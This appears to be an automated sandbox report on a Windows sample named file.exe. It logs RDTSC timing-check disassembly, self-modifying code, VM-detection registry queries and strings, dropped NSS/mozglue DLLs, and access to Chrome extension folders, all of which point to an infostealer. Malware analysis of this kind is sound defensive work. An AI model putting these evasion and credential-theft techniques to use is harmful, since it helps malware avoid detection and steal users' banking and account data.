Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50902AB second address: 509030C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBCF475A742h 0x00000008 and si, 37F8h 0x0000000d jmp 00007FBCF475A73Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a movzx esi, dx 0x0000001d mov esi, ebx 0x0000001f popad 0x00000020 lea eax, dword ptr [ebp-08h] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FBCF475A744h 0x0000002c adc si, C188h 0x00000031 jmp 00007FBCF475A73Bh 0x00000036 popfd 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509030C second address: 5090311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090311 second address: 5090327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF475A742h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090327 second address: 50903AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FBCF4D53684h 0x00000013 and ch, 00000048h 0x00000016 jmp 00007FBCF4D5367Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FBCF4D53688h 0x00000022 xor cx, 78A8h 0x00000027 jmp 00007FBCF4D5367Bh 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FBCF4D53689h 0x00000034 nop 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903AA second address: 50903AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903AE second address: 50903B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509043A second address: 509043E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509043E second address: 5090444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090444 second address: 5090513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 11h 0x00000005 jmp 00007FBCF475A747h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FBCF475A746h 0x00000013 push eax 0x00000014 jmp 00007FBCF475A73Bh 0x00000019 xchg eax, ebp 0x0000001a jmp 00007FBCF475A746h 0x0000001f mov ebp, esp 0x00000021 jmp 00007FBCF475A740h 0x00000026 push 00000000h 0x00000028 jmp 00007FBCF475A740h 0x0000002d push 00000000h 0x0000002f jmp 00007FBCF475A740h 0x00000034 push dword ptr [ebp+1Ch] 0x00000037 pushad 0x00000038 mov bx, cx 0x0000003b mov ecx, 69F45D49h 0x00000040 popad 0x00000041 push dword ptr [ebp+18h] 0x00000044 jmp 00007FBCF475A744h 0x00000049 push dword ptr [ebp+14h] 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FBCF475A747h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090513 second address: 509053C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FBCF4D5367Fh 0x00000008 pop eax 0x00000009 mov ah, bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push dword ptr [ebp+10h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FBCF4D5367Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509053C second address: 5090542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090542 second address: 5090572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FBCF4D53688h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push dword ptr [ebp+0Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBCF4D5367Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090572 second address: 509058D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov eax, 510388FBh 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905B7 second address: 50905BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905BB second address: 50905C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905C1 second address: 50905D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D5367Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50706EF second address: 50706F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50706F5 second address: 507072E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 5789h 0x00000007 pushfd 0x00000008 jmp 00007FBCF4D53686h 0x0000000d xor cx, 26D8h 0x00000012 jmp 00007FBCF4D5367Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507072E second address: 5070732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070732 second address: 5070736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070736 second address: 507073C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507073C second address: 5070759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D53689h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070759 second address: 507077D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBCF475A748h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507077D second address: 507078F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D5367Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507078F second address: 5070793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070813 second address: 5070819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070819 second address: 5070849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A747h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007FBCF475A73Bh 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070849 second address: 50708BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53685h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b pushad 0x0000000c jmp 00007FBCF4D5367Ch 0x00000011 pushfd 0x00000012 jmp 00007FBCF4D53682h 0x00000017 and cl, 00000068h 0x0000001a jmp 00007FBCF4D5367Bh 0x0000001f popfd 0x00000020 popad 0x00000021 mov al, byte ptr [edx] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov bh, F2h 0x00000028 pushfd 0x00000029 jmp 00007FBCF4D5367Ch 0x0000002e sub cx, 3DC8h 0x00000033 jmp 00007FBCF4D5367Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50708BA second address: 50708BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov ah, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a inc edx 0x0000000b jmp 00007FBCF475A73Ah 0x00000010 test al, al 0x00000012 jmp 00007FBCF475A740h 0x00000017 jne 00007FBCF475A6E3h 0x0000001d mov al, byte ptr [edx] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov bh, F2h 0x00000024 pushfd 0x00000025 jmp 00007FBCF475A73Ch 0x0000002a sub cx, 3DC8h 0x0000002f jmp 00007FBCF475A73Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070900 second address: 50709AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 522Ah 0x00000007 mov esi, ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c sub edx, esi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FBCF4D53688h 0x00000015 sub ecx, 2254C818h 0x0000001b jmp 00007FBCF4D5367Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FBCF4D53688h 0x00000027 add cx, 3278h 0x0000002c jmp 00007FBCF4D5367Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov edi, dword ptr [ebp+08h] 0x00000036 pushad 0x00000037 mov si, 4DCBh 0x0000003b jmp 00007FBCF4D53680h 0x00000040 popad 0x00000041 dec edi 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007FBCF4D53688h 0x0000004b add ax, 1738h 0x00000050 jmp 00007FBCF4D5367Bh 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50709AD second address: 5070A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBCF475A73Fh 0x00000009 adc esi, 525C8CFEh 0x0000000f jmp 00007FBCF475A749h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea ebx, dword ptr [edi+01h] 0x0000001d jmp 00007FBCF475A73Ch 0x00000022 mov al, byte ptr [edi+01h] 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007FBCF475A73Ch 0x0000002e or ecx, 66111328h 0x00000034 jmp 00007FBCF475A73Bh 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070A19 second address: 5070A8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53688h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FBCF4D53682h 0x0000000f sub ecx, 1AC920B8h 0x00000015 jmp 00007FBCF4D5367Bh 0x0000001a popfd 0x0000001b popad 0x0000001c inc edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FBCF4D5367Bh 0x00000026 sub esi, 2329027Eh 0x0000002c jmp 00007FBCF4D53689h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070A8C second address: 5070ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov ebx, esi 0x0000000e mov dx, si 0x00000011 popad 0x00000012 jne 00007FBD65002710h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FBCF475A741h 0x00000021 or ecx, 49CCD616h 0x00000027 jmp 00007FBCF475A741h 0x0000002c popfd 0x0000002d mov ecx, 3E5B0887h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070ADE second address: 5070B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBCF4D5367Fh 0x00000009 xor ch, 0000004Eh 0x0000000c jmp 00007FBCF4D53689h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ecx, edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FBCF4D5367Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B22 second address: 5070B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B28 second address: 5070B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B2C second address: 5070B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B30 second address: 5070B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B41 second address: 5070B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B45 second address: 5070B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B55 second address: 5070B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF475A73Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B67 second address: 5070BA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 jmp 00007FBCF4D53686h 0x0000001a mov ecx, edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FBCF4D5367Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070BA0 second address: 5070BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070BA4 second address: 5070BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070BAA second address: 5070BC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 mov bx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 03h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop ecx 0x00000013 mov esi, edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070BC0 second address: 5070C11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53684h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007FBCF4D53680h 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FBCF4D5367Dh 0x00000020 jmp 00007FBCF4D5367Bh 0x00000025 popfd 0x00000026 mov dl, cl 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070C11 second address: 5070C51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 call 00007FBCF475A73Ch 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, ebx 0x00000010 pushad 0x00000011 mov ah, bh 0x00000013 mov eax, 6CDC176Fh 0x00000018 popad 0x00000019 mov ecx, dword ptr [ebp-10h] 0x0000001c jmp 00007FBCF475A742h 0x00000021 mov dword ptr fs:[00000000h], ecx 0x00000028 pushad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070C51 second address: 5070C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007FBCF4D53689h 0x0000000a jmp 00007FBCF4D53680h 0x0000000f pop esi 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FBCF4D5367Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070C90 second address: 5070CCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBCF475A741h 0x00000009 sub cx, 8146h 0x0000000e jmp 00007FBCF475A741h 0x00000013 popfd 0x00000014 mov si, 47F7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov edi, 249D2ADAh 0x00000024 push edx 0x00000025 pop esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070CCF second address: 5070CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D53683h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080008 second address: 508000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508000C second address: 5080027 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53687h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080027 second address: 5080049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080049 second address: 508009B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 mov cx, 94F7h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e mov ebx, 0BBE60CEh 0x00000013 call 00007FBCF4D5367Fh 0x00000018 mov ch, EEh 0x0000001a pop edx 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d jmp 00007FBCF4D53680h 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FBCF4D53687h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508009B second address: 50800BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E3DA8F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1001E8D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FEAE82 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 106880E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6156	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5972	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5584	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6480	Thread sleep time: -40020s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C58C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C58C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2580022348.0000000000FB8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2580701195.0000000001402000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWAX
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 00000007.00000003.2345522608.00007BCC00324000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: msedge.exe, 00000007.00000002.2428899533.0000019049A43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
